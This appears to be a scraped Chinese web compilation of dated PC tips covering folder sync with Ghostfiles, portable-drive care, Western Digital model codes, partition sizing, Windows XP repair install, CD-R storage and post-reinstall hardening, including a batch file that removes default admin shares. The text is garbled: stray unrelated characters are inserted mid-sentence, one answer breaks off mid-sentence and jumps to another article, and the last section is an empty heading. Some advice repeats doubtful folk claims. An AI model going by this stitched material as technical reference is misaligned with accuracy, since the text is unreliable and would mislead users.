dos文件夹同步

⑴ 如何实现多个硬盘同步数据传输

同时让多个硬盘轻松同步数据传输，为了保护重要数据的安全，我们往往会给自己的计算机同时安装两块或两块以上的硬盘，然后借助Windows2000Server或Windows2003Server系统内置的Raid功能，来对两块硬盘或多块硬盘同时进行写入数据操作，从而实现同步硬盘数据的目的。不过考虑到要启用服务器系统的Raid功能，必须事先要进行一些烦琐的系统设置操作，普通的用户几乎都不会进行这项设置。那么有没有一种更简单的方法，可以让我等“菜鸟”级别的用户，可以在转瞬之间就能对多块硬盘中的数据进行同步操作的目的呢?要做到这一点，我贺漏歼们不妨借助一款名为Ghostfiles的工具，在该工具的帮助下我们就能轻松对多块硬盘中的数据进行同步操作。不信的话，就请各位一起来看看本文下面的内容吧!

认识外力Ghostfiles工具

Ghostfiles工具是一款操作简单、使用方便的数据镜像与数据同步软件，它可以随时查看各种源位置数据中的变化，并能对其中的数据进行各种编辑操作，例如可以移动、复制文件夹数据，也可以删除、新建文件夹数据，还能重命名或修改文件夹数据，此外它还会让目标位置处的数据内容发生相同的变化。Ghostfiles工具不但会支持通过移动硬盘、网络映射服务器、闪存盘以及共享文件夹来对数据进行同步操作，而且它在为我们提供“服务”时只占用系统很有限的空间资源，有了Ghostfiles工具在身旁，我们就能让两块或多块硬盘同时写入相同的数据内容。

借用外力进行同步操作

要想利用Ghostfiles工具的数据同步与数据镜像功能，我们首先需要从网上将Ghostfiles工具下载到操作系统所在的硬盘中，然后按照常规方法将该工具软件安装好，之后从“开始”/“程序”/“LowrieAssociatesLtd”/“Ghostfiles”菜单中执行相关命令来顺利地启动好Ghostfiles应用程序，一旦该程序启动成功后，它就会自动退回到系统后台为我们默默地提供数据同步服务，同时将它的程序控制图标隐藏到系统任务栏的右下角。

用鼠标右键单击系统托盘区域处的Ghostfiles程序控制图标，从随后出现的右键菜单中执行“Maintain

Settings”命令，打开如图1所示的主程序设置窗口，单击该窗口中的“New”按钮，打开一个标题为添加任务的对话框;在该对话框的“Entry”文本框中，为刚刚创建的新任务输入一个合适的名称，例如我们在这里可以输入“同步硬盘数据”。

接下来在该对话框的禅冲“Source”设置项处，单击右边的浏览按钮，打开文件夹选择对话框，从中将需要参与数据同步的源文件夹选中并导入进来;假设本地计算机中安装有两块容量完全相同的硬盘，每一块硬盘都有相同的两个磁盘分区，而且我们假设第一块硬盘中的第一分区盘符为“E:”，第二分区盘符为“F:”，第二块硬盘中的第一分区盘符为“G:”，第二分区搜让盘符为“H:”。那么在同步这两块硬盘中的数据内容时，我们就应该先在“Source”设置项处将“E:”选中并导入进来，接着在“Destination”设置项处将“G:”选中并导入进来(如图2所示)，然后单击该对话框中的“OK”按钮，随后Ghostfiles程序会自动进入到下一个同步向导设置界面，检查该界面中的“Mirror

Sub-Directories”项目是否处于选中状态，要是还没有被选中的话，我们必须及时将它重新选中，这样Ghostfiles程序就能在执行数据同步操作时自动对目标分区下面的子文件夹内容也进行同步操作;如此一来，日后当我们尝试在第一块硬盘的第一分区中进行文件的删除、移动、复制、重命名等操作时，第二块硬盘的第一分区中也会自动进行相应的文件删除、移动、复制、重命名等操作，那样的话两块硬盘第一分区中的数据内容就能始终处于完全相同的状态。

一旦完成好所有的参数设置操作后，我们只要继续单击数据同步向导界面中的“Apply”按钮，那样的话Ghostfiles程序就能按照我们事先进行的设置，来正式对目标硬盘中的数据执行同步与镜像操作;在同步的过程中，我们只要用鼠标双击系统托盘区域处的Ghostfiles程序控制图标，就能打开数据同步的状态显示界面，从该界面中我们能清楚地看到目标磁盘分区与源磁盘分区中的数据变化结果。

同样地，按照前面的操作步骤，我们还可以再打开一个标题为添加任务的对话框，来重新创建另外一个数据同步任务，将第一块硬盘中的第二分区与第二块硬盘中的第二分区设置成同步，这样一来一旦第一块硬盘在工作过程中遇到意外发生数据丢失时，我们就可以尝试到第二块硬盘中去寻找丢失的数据了。

借助Ghostfiles工具的数据同步与数据镜像功能，我们还能非常轻松地将单位计算机硬盘中的数据内容同步到移动硬盘中，等下班回到家中之后，我们再把移动硬盘中的数据内容拷贝到家庭计算机硬盘中，这么一来就能间接地保证单位计算机与家庭计算机中的数据内容始终保持完全一致了。更难能可贵的是，Ghostfiles程序还能把本地源文件夹中的数据内容同步到局域网共享文件夹中，从而实现网络自动备份数据的目的。

移动硬盘使用注意事项

首先不要用质量很次的假IBM、VAIO还有假三星，这几样大约20~30元提货，零售价50~60元，有卖过，硬盘盒一定要选质量好的，至少批发60元左右，零售一般在80元以上的一般就不错，基本能保证稳定供电，伤害硬盘的可能性低了很多。

移动硬盘怕摔，这个有很大偶然性，经验并不可靠，并不是这回你亲眼看到别人摔地上没事，下回你的摔了也能没事儿。必须轻拿轻放，除了这玩意儿本身价值几百元钱，有时候里面的数据更值钱吧？优盘和mp3等移动存储，也一样需要小心轻放。

移动硬盘，优盘，mp3这些娇贵东西很怕磁场和辐射，所以你必须保持它们远离手机、音箱等等强磁场强辐射的东西，必须远离，否则不定哪天你会发现它们的容量显示变得很古怪，文件可能永远丢失。***最重要***的注意事项，

移动硬盘并不能随意移动，移动硬盘和主机连接线一般至少几十厘米，很多人竟然一边拷贝数据，一边拿在手里，这是诸位最常见的错误，经验并不可靠，可能你这样鲁莽的行为累计有十次，三十次，从来都没当场出事情，但很有可能突然某一天硬盘就提前挂了，正常情况硬盘寿命应该不止三五年，好象广告上面写的有平均无故障时间，据说几万个小时，我记不大清楚，总之这玩意儿高速运转的时候必须放置在一个稳定的平台上。

补充以下，另有专业人士指教我，移动硬盘即便不通电，也不能剧烈晃动，因为硬盘里面的盘体就像陀螺一样，四周悬浮，只有中间有个固定轴，猛烈晃动可能会导致意想不到后果。还有一点也***相当重要***

无论什么牌子什么型号，都有可能偶尔在某台机子xp系统下，不能安全删除硬件，你没办法从右下角的usb设备图标点选安全删除，它总是提示设备正在使用中，正确的解决办法，可能只有关闭计算机，然后当然能拔掉了。

如何降低硬盘噪音？

问：在夜深人静的晚上使用电脑时感觉硬盘读取数据时伴随着明显噪声，请问有没有方法降低硬盘噪音？

答：由于硬盘属精密配件，没有任何用户有条件对其“手术”，所以我们只能采用软件降噪的方法。为了让降噪效果更加有效，针对性地选用各硬盘厂商独立开发的硬盘降噪软件是最理想的。

例如，Maxtor硬盘可使用Maxtor

Acoustic

Management工具，在DOS状态下进入软件所在目录，输入amset.exe

/quiet命令即可切换到安静模式；IBM和日立硬盘可使用Feature

Tool工具包，可开启IBM和日立硬盘的Automatic

Acoustic

Management(自动声音管理)功能，降低工作噪音；三星硬盘则可使用专用的寻道声音切

西部数据硬盘型号识别方法揭晓

西部数据的编号标注形式因产品系列而异，编号方式显得简洁明了，由12个数字或者字母所组成。在12个编号中，前6个编号为主编号，后面的6个编号为附加编号。其桌面市场的主打系列鱼子酱的.标注方式为“厂商代号+容量+转速，缓存+接口类型”。

简单的表示为WD“XXXX,X,X-XX,X,X,XX”，可以分为七个部分。

“WD”是“Western

Digital”的简称，表示其为西部数据公司的产品。

前6位主编号：

第一部分的四个“X”表示为硬盘容量，通常由3到4位数字组成，单位为GB。其标识和希捷是一样的，如4位的“1200”代表120GB，3位的“800”则代表80GB。

第二部分的“X”表示为硬盘转速及缓存容量。

“A”表示转速为5400

RPM/分的鱼子酱硬盘

“B”表示转速是7200

RPM/分的鱼子酱硬盘

“E”表示转速是5400

RPM/分的Protege系列硬盘

“J”表示转速为7200

RPM/分，数据缓存为8MB的高端鱼子酱硬盘

“G”表示为转速拥有10000

RPM/分，数据缓存为8MB的最高端桌面硬盘Raptor系列

第三部分的“X”表示接口的类型。

“A”表示为Ultra

ATA/66或者更早期的接口类型

“B”表示为Ultra

ATA/100

“W”表示应用于A/V(数码影音)领域的硬盘

“D”表示为Serial

ATA150接口

后六位附加编号：

对于后面的六位附加编号，笔者很抱歉，找不到相关于Serial

ATA150接口规范的硬盘附加编号资料，这不能不说是一个遗憾。

第四部分的两个“X”表示为OEM客户标志。如今西数面向零售市场的产品，其两个编号都是为数字“00”。如果作为其它字符的话，则为OEM客户的代码，不同的编号对应不同OEM客户，而这种编号的硬盘通常是不面向零售市场的。

第五部分的“X”代表硬盘单碟容量，单位是GB。“C”代表硬盘单碟容量为40GB，“D”代表66GB，“E”代表83GB。

第六部分的“X”表示同系列硬盘的版本代码，该代码随着不同系列而变。

“A”表示7200转/分，Ultra

ATA100接口的BB系列；

“B”表示5400转/分，Ultra

ATA66接口的AB系列；

“P”表示5400转/分，Ultra

ATA100接口的EB系列；

“R”表示7200转/分，Ultra

ATA100接口，具有8MB缓存的JB系列。

而在单碟66GB和83GB的产品中，还出现了“U”，“V”等其他字母，分别对应JB系列和BB系列产品。

最后部分的两个“X”表示为硬盘的Firmware版本。我们目前常见的一般都是“A0”。

我们以“WD2500JB-00EVA0”的硬盘编号作例子，我们从主编号可以知道这是一块西部数据公司出品的容量为250GB、7200转/分并且具有8MB缓存的硬盘。从后面的附加编号我们还可以看出这是西部数据面向零售市场，单碟容量为83GB的产品。其实，我认为对一般消费者来说，买西数硬盘看前面的6位主编号就可以得知性能了，加上了后面的6位附加编号反而还会增加了难度。

对于现在西数公司新出的Serial

ATA150接口的硬盘，如主6位编号为“WD2500JD”，我们就可以知道他是转速为7200

RPM/分，数据缓存为8MB，采用接口为Serial

ATA150接口的硬盘。还有对于西数公司最高端桌面硬盘Raptor(猛禽)系列，其主编号“WD740GD”亦代表了大部分的信息，其“容量为74GB，转速拥有10000

RPM/分，数据缓存为8MB，采用Serial

ATA150接口”这些信息我们也可以轻易的看出来。

开机后硬盘无法引导

问：我的电脑在开机后屏幕上出现如下提示信息：Device

error，随后又显示：Non－System

disk

or

disk

error,Replace

and

strike

any

key

when

ready，此时硬盘无法引导。用启动软盘启动电脑后，在出现A:>后键入C:并按回车键，屏幕上出现Invalid

drive

specification字样，系统无法转到硬盘中。请问如何才能解决这个问题？

答:出现这个故障很可能是主板CMOS中硬盘设置参数丢失或硬盘类型设置错误造成的。解决方法是：开机后按Del键进入CMOS，检查硬盘设置参数是否丢失或硬盘类型设置是否错误，如果是则可以进行手工输入恢复，如果记不住硬盘参数了，可选择HDD

AUTO

DETECTION项进行自动检测。有些主板CMOS由于版本陈旧可能没有这个选项或无法自动检测出硬盘参数，这时只有打开机箱，查看硬盘表面标签上的硬盘参数来填写了。

硬盘分区时分出整数容量的空间

大家分区的都会输入数字，比如你想得到一个2G的分区，你也许会输入2000M或者2048M。其实你输入的这些数字所分出来的区在Windows下面都不会被认为整数的2G，而是1.9XG，想要得到Windows下的整数G分区，你必须知道一个公式。

通过这个公式算出的值就是被Windows认为整数G的值。整数G计算公式：（X－1）*4＋1024*X＝Y

说明：以上“*”表示相乘，其中X就是你想要得到的整数分区的数值，单位是G，Y是你分区时应该输入的数字，单位是M，例如：我想得到3G整数空间，那么我分区时就应该输入（3－1）*4+1024*3=3080，那么我们应该在分区时输入3080M作为分区的大小；同理欲分出10G的空间则应该是（10-1）*4+1024*10=10276，输入10276M将会得到10G的整数空间。

下面是其他一些常用分区数值例：

(30-1)*4+1024*30=30836

30G

(15-1)*4+1024*15=15416

15G

(10-1)*4+1024*10=10276

10G

(5-1)*4+1024*5=5136

5G

⑵ windows的同步管理器使用方法

系统“同步”你用好了吗

Windows中的“同步管理器”可以把保存在计算机中的脱机网页文件与网络中相应的网页内容进行比较并自动更新，使两者始终保持—致，并可让同一局域网内的不同计算机中的数据文件同步更新，还可以使计算机的系统时钟与Internet时间服务器的时钟保持—致。下面，就让我们来看看“同步管理器”的这些应用。

一、脱机网页的同步

打开“我的电脑”，在工具栏中选择“文件夹选项”，其中就有对脱机文件的具体设置。为了能够使脱机网页在登录或注销计算机、计算机闲置状态时自动保持与网络同步，就要在“同步设置”对话框的“登录/注销”选项卡中选择需要同步的脱机网页，并勾选“登录计算机时”、“从计算机注销时”两个复选框。这样就能使该脱机网页在登录或注销计算机时保持网页的同步状态。

二、文件夹的同步

如果你经常要在两台计算机之间或者使用移动存储设备来传输文件，那么，使用“同步+公文包”组合方式将会是最佳途径。因为“公文包”能自动将主计算机上的文件更新为修改后的版本，而不必将修改后的文件移出“公文包”或者删除主计算机中现有的副本文件；而“同步”将使所有这些步骤显得更为简单。

三、时间的同步

无论你如何调整，计算机的时间总会在—段时间后与标准时间“差之毫厘”，甚至“谬以千里”。但是，如果你启用了“时间同步”功能，那么你的计算机系统时间就始终能与Internet时间服务器保持同步。双击“任务栏”中的时间图标以打开“日期和时间属性”对话框，切换到“Internet时间”选项卡，勾选“自动与Internet时间服务器同步”复选框，并在“服务器”列表中选择“时间服务器”，再点击“立即更新”按钮即可使本机时间与Internet时间服务器时钟保持一致。

采集卡安装死机

故障现象：一台P4 1.8GHz处理器，主板采用i845PE芯片组的电脑配备了影音大师采集卡。这台电脑平时只用来做一些视频处理工作。从买来就有开机不能正常启动的问题，每次Windows 2000进度条到70%时就死机，重启几次都是如此。

分析解决：按照常规解决的方法。先杀毒，用瑞星杀毒软件杀掉了几十个病毒，本以为问题就这样解决了，但没想到重启后，故障依旧。使用Windows 2000安装光盘修复系统，仍然不能解决问题。一不做二不休，重装系统。很快新系统装好了，装好显卡、声卡、主板驱动，一切正常。然后安装采集卡驱动以及一些相关的软件。这一切安装都很正常，本以为这样问题应该能解决了，结果重新启动后又是进度条到70%死机。因为是在装了采集卡驱动和其他一些软件后出现的故障，怀疑是软件或采集卡驱动之间出现了冲突导致系统不能正常启动。

进入安全模式，也没有将问题解决，只好再次选择重新安装系统，这次系统装完后，我每装一个驱动就重新启动一次，直到装完采集卡驱动的时候，电脑出现了死机故障。终于被我找到故障的原因，是采集卡驱动出现了问题，导致系统启动死机。

找到问题所在，解决起来就要容易许多。我把采集卡更换了一个PCI插槽，安装驱动后系统能正常启动。进入系统后安装采集卡驱动程序，再重新启动好几次都能进入，采集卡也能正常使用。

笔记本电脑性能优化技巧

一、BIOS的优化设置

和普通台式机一样，笔记本电脑的BIOS设置优化是最基本的优化方法，合理设置本本的BIOS，能够加快开机速度，提高内存、CPU、硬盘及显示系统的工作效率，而不同品牌的笔记本电脑的BIOS设置方法也大同小异。一般而言，在BIOS设置中有一个“QuietBoot”选项，这是设置开机画面和开机硬件检测等用的。和台式机一样，默认情况下笔记本电脑开机时首先检测处理器和内存、硬盘等，其中还包括开机画面的显示，而这些工作有时没有必要进行，因此把“QuietBoot”一项设置为“Enabled”，这样就不会显示开机画面及进行硬件检测等步骤了，自然可以大大提高开机启动速度。

目前笔记本电脑的软驱基本上被淘汰出局了，如果你没有使用软驱，又在BIOS里打开了软驱端口，那么每次启动笔记本电脑时都会对软驱进行搜索，这样就减慢了开机速度。我们可以在BIOS中将软驱设置为“None”或“Disabled”(关闭)，同时把第一项开机引导设备设置为“HardDrive”，这样不但加快了开机速度，同时还减少了噪音。

一般来说，在大部分笔记本电脑的BIOS设置里都有一项“SystemDevices”(系统设备)或“Advanced”(高级)选项，在这里可以设置CPU、显卡、内存、硬盘等性能参数。有的笔记本电脑的BIOS中有“DMAChannel”和“VGAFrameBufferSize”两个选项，第一项用于打开IDE设备的DMA传输模式，打开后磁盘性能可以提高很多，而第二个则用来设置显卡的显存大小。对于集成显卡来说，要注意设置技巧，比如集成显卡的显存大小范围为16MB'64MB，则尽量把这个数字设置在64MB以内(如32MB)，如果设置得太高，而总内存容量却很小(如只有128MB)，那么在某些图形软件或游戏动画的渲染中，很有可能出现内存不足导致整体性能大幅度降低。如果使用独立显卡，在“Advanced”选项中会有“DisplayExpansionSupport”这个选项，把这个选项设成“Disabled”(关闭)后，在分辨率小于1024×768及DOS界面下，会自动缩小画面以保持最佳显示效果。

另外，我们还要把CPU的L2Cache(二级高速缓存)打开，这样有助于CPU的性能发挥，有的笔记本电脑还集成了LAN、Modem、IEEE1394等接口，平时如果不使用这些接口时，最好在BIOS中把这些接口屏蔽掉。

二、CPU的优化使用

我们可以用Powertweak软件来优化本本的CPU和芯片组（下载地址为http:///soft/2754.html），Powertweak支持大多数的处理器和芯片组，内置四种最佳化设定功能，可以自行设定要最优化的硬件。运行该软件后点“选项”进行参数设定，然后点“最优化”即可对CPU进行优化。

如果你是发烧友，也可以对本本的CPU适当超频，当然，笔记本电脑不可能像台式机那样进行“硬”超频。不过我们可以使用SoftFSB这个软件（下载地址为http:///soft/10494.htm）对本本的CPU进行“软”超频，只要你知道本本的主板型号，通过一定的设置，直接在Windows下调节系统外频就可以超频，而且非常方便安全，即使超频失败，只需要重新开机即可恢复默认的外频。

优化与超频都可以提高CPU的性能，但在一定程度上加大了CPU的功耗，尽管最新的移动CPU功耗很低，但发热量增加是难免的，因此需要适当考虑降温措施。但是笔记本电脑不方便通过硬件措施来改善散热条件，所以通过软件降温是最为明智的，如果使用的是Win98/WinMe系统，推荐使用WaterfallPro降温软件，该软件安装后会自动启动降温功能，也可以利用新的HTL(节流阀)技术进行降温，缺点是该软件不支持Win2000/WinXP。而CPUIdle降温软件可在所有的Windows系统下使用，它的下载地址是，该软件运行后会自动对CPU进行降温，并且在CPU信息选项可以看到CPU的全部资料。

WinXP崩溃后的救命稻草

原位升级对于许多人来说可能还是个陌生的概念，但覆盖安装相信大家都知道。在Windows98出现严重问题需要重装系统时，为了避免格式化破坏系统中已经安装的软件和数据，我们通常会使用直接覆盖安装的方式。

其实在WindowsXP中也有类似覆盖安装的功能，它被称为原位升级，又称修复安装，同样可以在不丢失系统已有数据的情况下重装系统，解决许多严重的系统问题。

一、原位升级的方法与实例

WindowsXP的原位升级使用比Windows98的覆盖安装要麻烦一些，下面我们通过一个实例来看看具体操作方法。

故障现象：一菜鸟好友打来电话，说WindowsXP系统无法启动了，匆忙赶去，发现每次刚启动到滚动条界面即自动重启，问其详情，说是昨天安装卸载了许多软件，中间一直没有重启。今天开机就出现了这个现象。推断可能是由于安装卸载软件时破坏了系统，使用最近一次正确配置无法正常启动，尝试安全模式也无法进入，看来只有重装系统了。

不过朋友说系统分区中有重要数据还没备份，于是就尝试了一下原位升级，非常顺利地解决了问题。

具体步骤：首先使用WindowsXP安装光盘启动电脑，根据提示按“Enter”键开始安装WindowsXP，然后按F8键接受安装协议，这时安装程序会检测到系统中已经安装有WindowsXP，并给出提示，这时按下R键选择修复安装即可，剩下的步骤就和正常安装WindowsXP完全一样了。不过在采用原位升级修复WindowsXP之后，需要重新激活WindowsXP，这一点请注意。

如果你的电脑安装有双系统，还可以在其他能够正常使用的操作系统中对WindowsXP进行原位升级，方法是把WindowsXP安装光盘放入光驱，在“欢迎使用Windows安装程序”的界面中，单击“安装类型”下拉框选择“升级(推荐)”选项，然后单击“下一步”按钮，继续正常安装即可。

二、原位升级适合医治的“病例”

原位升级并不是“包治百病”，它有适合的应用，除了上面我们看到的实例外，如果你遇到下面的这些问题，也可以通过原位升级来解决：

无法以安全模式启动WindowsXP的问题。

由最近安装的系统更新（WindowsUpdate、修复程序、WindowsXPServicePack或MicrosoftInternetExplorer更新）引起的，而且无法以任何其他方式解决此问题。最典型的情况就是由于一些用户使用了破解版的WindowsXP，自动更新后无法使用。

通过使用其他工具（例如“系统还原”）不能解决的注册表问题。

系统文件的一些属性改变，而我们想恢复到最初始的状态，需要给安装的WindowsXP系统应用默认的（文件和注册表）权限。

需要使用Windows安装程序来再次查找即插即用设备。

三、原位升级安装时的注意事项

WindowsXP的原位安装并不像Windows98那样覆盖一下就可以，它会对系统进行很多改动，所以在使用原位安装之前，我们要先确定是否应该使用原位安装。

1.如果你的WindowsXP是品牌机预装的，并且在WindowsSystem32文件夹中存在“Undo_guimode.txt”文件，那么在使用原位升级安装时可能会出现丢失开始菜单快捷方式、启动组数据以及共享文档数据的问题，这时需要先删除“Undo_guimode.txt”文件后再执行原位升级，以避免数据丢失。

2.用原位升级安装修复WindowsXP后，虽然应用软件无须重装，但很多系统的设置都被恢复到默认状态了，比如自动开启了系统还原、登录界面也被改成系统默认，你需要重新进行个性化设置。

3.原位升级安装后，所有用WindowsUpdate打的补丁会全部丢失，因此需要重新在线更新。

4.如果你的电脑同时还安装有Windows2003，在使用原位升级修复WindowsXP后，会导致Windows2003无法进入，修复方法是将Windows2003安装光盘i386目录下的“ntldr”和“Ntdetect.com”文件复制到C:下覆盖原有文件。

5.在使用原位升级修复WindowsXP后，如果发现系统运行速度明显变慢，可以在设备管理器中查看一下硬盘和光驱的运行模式是否设置在“仅PIO”模式，如果是这样，则需要将WindowsXPSP2Beta中的“Atapi.sys”文件提取出来（版本号为5.1.2600.2055），替换掉系统中的原有文件，并打开注册表编辑器，找到[HKEY_LOCAL_MACHINE

{4D36E96A-E325-11CE-BFC1-08002BE10318}001]，新建DWORD类型键值“ResetErrorCountersOnSuccess”，设置其值为“l”。

然后再按同样方法修改[HKEY_LOCAL_MACHINESYSTEM

CurrentControlSetControlClass{4D36E96A-E325-11CE-BFC1-08002BE10318}002]主键下的键值设置即可。

6.原位升级需要使用与原安装系统一致的WindowsXP版本，例如原来是专业版，必须用专业版WindowsXP来进行原位升级，而如果原来是家用版，则不能用专业版来进行原位升级安装。

正确使用和保存刻录盘

许多朋友可能会觉得奇怪，使用刻录盘嘛，不就是放到刻录机里面进行刻录咯，还需要怎样正确使用呢？没错，这确实是用刻录盘进行刻录的方法，但这离“正确地使用刻录盘”还相差很远呢。

那么，怎样才算是正确地使用刻录盘呢？笔者觉得，以下一些环节是很值得加以注意的。

一、应该给刻录盘安置怎么样的家？

有些朋友喜欢把刚买回来的刻录盘堆叠在一起，然后放到一个CD筒里，在需要使用刻录盘进行的时候，再拿出来使用；已经刻录好的盘片也是堆叠在一起，在需要使用时就一张张翻出来慢慢搜索，用完后再叠起来。殊不知这样做是非常错误的。

我们知道，刻录盘是非常娇贵的东西，躯体又很单薄，在堆叠的情况下很容易变形，盘片之间互相碰撞时更容易产生划痕。事实上，刻录盘只要稍微有所损害，就很可能无法正常使用的了。那么，使用CD盒可以避免这种情况吗？

也不一定。质量好的CD盒确实可以起到很好的保护作用，但价格也会比较昂贵，对于普通用户来说未必适合；有一些CD盒卖得比较便宜，几块钱一个，其制作质量可能非常粗糙。如果用这种盒子来装刻录盘，虽然刻录盘之间可以隔离开而不产生直接接触，但因为盒子本身的质量问题，在抽出和插入刻录盘的时候，不可避免的摩擦也很可能对刻录盘造成比较大的损害。

如果用户想省点钱，又想保护好刻录盘的话，不妨选择那种比较柔韧的、两面均可放刻录盘的塑料薄膜。要求薄膜柔韧是为了给刻录盘的抽出和插入提供一个比较平滑的空间，而减少划花盘片的机会；两面安放盘片可以很好地固定盘片的位置，盘片滑出来的机率大大减少。另外再购买一个CD架，把薄膜垂直安放进去。

笔者认为采用这种方法可以比使用CD盒能更好地保护盘片本身，而且薄膜的价格也比较便宜，一般都是几分钱'一毛钱一个，很值得普通用户使用。

二、进行不同刻录时应该采用什么样的刻录盘？

有些朋友不管是刻录什么类型的文件，都使用同一种刻录盘。其实这也是不对的。一般来说，我们用得最多的几种刻录类型是：音乐CD盘、系统安装盘和一般的数据文件盘。相对来说，音乐CD对音质的要求比较高，而良好的音质又离不开一张比较好的盘片做底层支持，也只有质量好的盘片才能够提供稳定播放的效果，因此尽量采用较好质量的`刻录盘是比较合适的。

经常重装系统的朋友都知道，在安装系统时，因为要长时间地读取光盘，如果光盘的质量比较差，往往无法顺利地读取，从而影响到系统的安装。因此要想制作系统安装盘的朋友，一定要选购质量好的刻录盘。

对于一般的数据文件盘，我们也可以划分几个重要度级别。对于非常重要的、经常使用的数据资料，应该使用质量甚佳的刻录盘；对于普通重要的数据资料，采用质量过关的普通刻录盘就可以了。

但无论是对于哪种类型的刻录，有一点都是要注意的：每隔一段时间（比如说三个月、半年）就应该检查一下刻录盘是否还能顺利读取，并及时进行更新替换工作。否则一旦资料遗失，那就非常遗憾了。

三、采用多少倍速来进行刻录呢？

一般来说，刻录速度是由刻录机和刻录盘两方面共同决定的，而最高刻录速度又与两者最高刻录速度的较低值相一致。比如说，刻录机最大倍速为52X，刻录盘为32X，那么最高刻录速度应该是32X。有些朋友购买了支持较高刻录速度的刻录机和刻录盘，比如说，都支持52X的，为了节省刻录时间，而通通采用52倍速进行刻录。

事实上，这种做法并不妥当。由于音乐CD、系统安装盘对质量稳定性要求比较高，特别是系统安装盘，如果在刻录时前面写入的数据出现错误，就很可能导致整张盘出现问题，最终导致无法使用它来顺利地安装系统。

而在刻录盘相同的情况下，刻录质量提升和刻录速度提升的方向是恰好相反的，也就是说，对于质量要求高的刻录类型来说，较高的刻录速度往往难以保证刻录出来的光盘能够满足用户的切实需要，而相对较低的刻录速度则可以基本保证数据平稳连贯地写入刻录盘中，从而保证刻录的质量。

一般来说用8'12倍速进行音乐CD或者系统安装盘的刻录是比较合适的。而对于普通数据光盘来说，较高的刻录速度也是可行的，因为CD刻录机一般都具备自动纠错功能，在高速刻录时会自动检测和纠正写入错误，保证刻录顺利进行。

但笔者认为完全没有必要采用52X来进行刻录，因为我们一般都会采用质量很普通的刻录盘来进行数据光盘的刻录的，太高倍速的刻录有时候会导致刻录失败，或者刻录出来后无法正常地使用。一般来说用32X进行刻录已经足够了。

四、“超刻”，值得吗？

有些朋友可能知道，只要采用适当的刻录机和刻录软件，是完全可以对刻录盘进行“超刻”的。像硬盘、CPU的制作过程那样，厂商在制造空白刻录盘的时候，往往会在刻录盘的外圈预留一部分多余空间不标示的，在正常刻录状态下，这部分空间并不能加以利用，而部分刻录软件可以把它识别出来。

有些用户为了充分利用刻录盘，希望对之进行“超刻”，以增加刻录容量。笔者认为这样做并不划算。因为“超刻”虽然可以带来更多的容量，但增加的数值并不会太大，一般就20'30MB，能够达到50MB就已经很不错了。

而这样做的后果是，这样刻录出来的光盘性能并不稳定，在一段时间后往往无法正常地读取，即使能够读取，也会给光驱带来更多的额外工作量，可谓得不偿失。

五、怎样正确地标示刻录后的光盘呢？

一种常见的做法是：在刻录后的光盘上用油性笔写上和光盘相关的信息，以方便管理光盘，事实上，这种做法也是不对的。因为在光驱读取刻录盘的时候，油墨的存在会使得刻录盘的旋转速度时快时慢，很不稳定，从而给正常的读取造成影响，也会影响到光驱光头等部件的正常寿命。

另外，随着时间的不断变迁，油墨会慢慢地渗透到光盘里面去。前面说过，光盘一旦受到损害，就很可能报废了，而油墨的渗入，则是比较严重的一种损害形式。因此为了延长刻录盘和刻录机的寿命，最好还是不要在刻录盘上写上任何东西。而且标示光盘也是有很多其他方法的，比如说，在采用塑料薄膜或者塑料盒保存光盘时，可以在薄膜表面添加一个写有光盘信息的小标签。

我们一般都用刻录盘来保存重要文件和数据的，因此我们只有正确地使用、保存它们，才能更好地保存自己的重要资料，为工作和学习带来更大的便利。

新系统最容易中毒 重装系统后要做十件大事

Windows系统是越用越慢，这是不争的事实。因此，使用Windows就免不了要重新安装系统。当然，重新安装系统并不难，但是安装完系统后你知道我们有多少事情必须要做吗?这可容不得丝毫的松懈，一旦马虎，将可能会导致前功尽弃，甚至有可能会造成数据丢失、信息泄密!

第1件大事:不要急着接入网络

在安装完成Windows后，不要立即把服务器接入网络，因为这时的服务器还没有打上各种补丁，存在各种漏洞，非常容易感染病毒和被入侵。 此时要加上冲击波和震撼波补丁后并重新启动再联入互联网。

第2件大事:给系统打补丁/安装杀毒软件

不用多说，冲击波和震荡波病毒的补丁是一定要打上的，如果你安装了Windows XP SP2则不用再另行安装。

Windows XP冲击波(Blaster)病毒补丁

震荡波(Sasser)病毒补丁安装完系统后，一定要安装反病毒软件，同时将其更新到最新版本。

第3件大事:关闭系统还原

系统还原是Windows ME和Windows XP、Windows 2003中具有的功能，它允许我们将系统恢复到某一时间状态，从而可以避免我们重新安装操作系统。不过，有的人在执行系统还原后，发现除C盘外，其它的D盘、E盘都恢复到先前的状态了，结果里面保存的文件都没有了，造成了严重的损失!

这是由于系统还原默认是针对硬盘上所有分区而言的，这样一旦进行了系统还原操作，那么所有分区的数据都会恢复。因此，我们必须按下Win+Break键，然后单击“系统还原”标签，取消“在所有驱动器上关闭系统还原”选项，然后选中D盘，单击“设置”按钮，在打开的窗口中选中“关闭这个驱动器上的系统还原”选项。

依次将其他的盘上的系统还原关闭即可。这样，一旦系统不稳定，可以利用系统还原工具还原C盘上的系统，但同时其他盘上的文件都不会有事。

第4件大事:给Administrator打上密码

可能有的人使用的是网上下载的万能Ghost版来安装的系统，也可能是使用的是Windows XP无人值守安装光盘安装的系统，利用这些方法安装时极有可能没有让你指定Administrator密码，或者Administrator的密码是默认的123456或干脆为空。这样的密码是相当危险的，因此，在安装完系统后，请右击“我的电脑”，选择“管理”，再选择左侧的“计算机管理(本地)→系统工具→本地用户和组→用户”，选中右侧窗口中的Administrator，右击，选择“设置密码”。

在打开窗口中单击“继续”按钮，即可在打开窗口中为Administrator设置密码。

另外，选择“新用户”，设置好用户名和密码，再双击新建用户，单击“隶属于”标签，将其中所有组(如果有)都选中，单击下方的“删除”按钮。再单击“添加”按钮，然后再在打开窗口中单击“高级”按钮，接着单击“立即查找”按钮，找到PowerUser或User组，单击“确定”两次，将此用户添加PowerUser或User组。注销当前用户，再以新用户登录可以发现系统快很多。

第5件大事:关闭默认共享

Windows安装后，会创建一些隐藏共享，主要用于管理员远程登录时管理系统时使用，但对于个人用户来说，这个很少用到，也不是很安全。所以，我们有必要要切断这个共享:先在d:下新建一个disshare.bat文件，在其中写上如下语句:

@echo off

net share C$/del

net share d$/del

netshare ipc$/del

net share admin$ /del

接下来，将d:disshare.bat拷贝到C:文件夹下。然后按下Win+R，输入gpedit.msc，在打开窗口中依次展开“用户配置→Windows设置→脚本(登录/注销)”文件夹，在右侧窗格中双击“登录”项，在弹出的窗口中，单击“添加”命令，选中C:文件夹下的disshare.bat文件。

完成上述设置后，重新启动系统，就能自动切断Windows XP的默认共享通道了，如果你有更多硬盘，请在net share d$/del下自行添加，如net share e$/del、net share f$/del等。

第6件大事:启用DMA传输模式

